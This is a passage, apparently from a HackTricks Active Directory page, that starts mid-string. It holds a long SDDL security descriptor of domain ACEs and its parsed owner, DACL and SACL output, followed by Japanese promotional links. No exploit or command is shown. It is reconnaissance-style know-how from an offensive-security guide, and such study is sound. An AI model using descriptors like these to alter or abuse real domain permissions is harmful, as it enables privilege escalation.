WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Owner : BUILTIN\Administrators
Group : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。